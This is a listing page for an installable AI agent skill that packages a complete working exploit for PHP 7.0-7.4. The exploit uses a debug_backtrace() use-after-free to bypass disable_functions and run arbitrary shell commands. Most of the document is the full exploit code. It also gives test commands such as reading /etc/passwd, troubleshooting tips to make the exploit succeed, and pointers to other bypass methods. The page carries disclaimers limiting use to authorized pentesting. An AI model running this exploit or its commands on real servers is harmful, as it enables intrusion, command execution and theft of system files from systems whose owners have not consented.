# PHP Disable Functions Bypass

> Bypass PHP disable_functions restriction using the debug_backtrace() UAF vulnerability (PHP 7.0-7.4, *nix only). Use this skill when you need to execute system commands in PHP environments where functions like system(), exec(), shell_exec() are disabled. This is for authorized security testing and penetration testing only. Trigger this skill when the user mentions PHP disable_functions bypass, PHP UAF exploitation, PHP 7.x command execution, or any scenario involving restricted PHP function execution in a pentesting context.

- Skill: `abelrguezr/php-disable-functions-bypass-5` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/php-disable-functions-bypass-5`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/php-disable-functions-bypass-5/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/abelrguezr/php-disable-functions-bypass-5

---


# PHP disable_functions Bypass (PHP 7.0-7.4, *nix only)

## Overview

This skill provides a method to bypass PHP's `disable_functions` configuration directive using a Use-After-Free (UAF) vulnerability in `debug_backtrace()`. This affects PHP versions 7.0 through 7.4 on *nix systems.

**⚠️ SECURITY WARNING**: This technique should only be used in authorized security testing and penetration testing scenarios. Unauthorized use may violate laws and regulations.

## Vulnerability Details

- **Bug Report**: https://bugs.php.net/bug.php?id=76047
- **Original Exploit**: https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
- **Affected Versions**: PHP 7.0 - 7.4
- **Platform**: *nix only (Linux, BSD, macOS)
- **Vulnerability Type**: Use-After-Free (UAF) via `debug_backtrace()`

### How It Works

The exploit leverages a memory corruption vulnerability where `debug_backtrace()` returns a reference to a variable that has been destroyed. This allows an attacker to:

1. Trigger a UAF condition through object destruction
2. Leak memory addresses from the PHP heap
3. Parse the ELF binary to find function addresses
4. Overwrite function handlers to redirect execution to `system()`
5. Execute arbitrary system commands

## Prerequisites

Before using this bypass, verify:

1. **PHP Version**: 7.0 - 7.4 (check with `php -v` or `<?php phpinfo();`)
2. **Operating System**: *nix (Linux, BSD, macOS) - NOT Windows
3. **Target Functions**: `system()`, `exec()`, `shell_exec()`, `passthru()`, etc. are disabled
4. **Access**: You have a PHP file upload or code execution vector

## Usage

### Basic Exploit Template

Create a PHP file with the following structure:

```php
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.

pwn("YOUR_COMMAND_HERE");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}
```

### Quick Test Commands

Replace `YOUR_COMMAND_HERE` with:

```php
pwn("id");
pwn("whoami");
pwn("uname -a");
pwn("cat /etc/passwd");
pwn("ls -la /");
```

## Common Issues and Solutions

### UAF Failed

If you see "UAF failed" error:

1. **Increase allocation count**: Change `$n_alloc = 10;` to `$n_alloc = 20;` or higher
2. **Check PHP version**: Ensure you're on PHP 7.0-7.4
3. **Verify *nix platform**: This exploit does not work on Windows

### Binary Base Address Not Found

If you see "Couldn't determine binary base address":

1. **Check PHP version compatibility**: Some PHP builds may have different memory layouts
2. **Try different PHP versions**: The exploit works best on PHP 7.2-7.3
3. **Verify ELF parsing**: The exploit assumes standard ELF format

### Function Not Found

If you see "Couldn't get zif_system address":

1. **Verify function is actually disabled**: Check `phpinfo()` output
2. **Try alternative functions**: The exploit can be modified to target other disabled functions
3. **Check PHP build**: Some custom PHP builds may have different function table layouts

## Alternative Bypass Methods

If this exploit doesn't work, consider:

1. **PHP 5.x bypasses**: Different techniques for older PHP versions
2. **PHP 8.x bypasses**: Newer PHP versions require different approaches
3. **Windows-specific bypasses**: Different techniques for Windows environments
4. **Other PHP vulnerabilities**: File inclusion, deserialization, etc.

## References

- [Original Bug Report](https://bugs.php.net/bug.php?id=76047)
- [Original Exploit](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
- [PHP disable_functions Documentation](https://www.php.net/manual/en/ini.core.php#ini.disable-functions)

## Legal Disclaimer

This skill is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing any system you do not own.

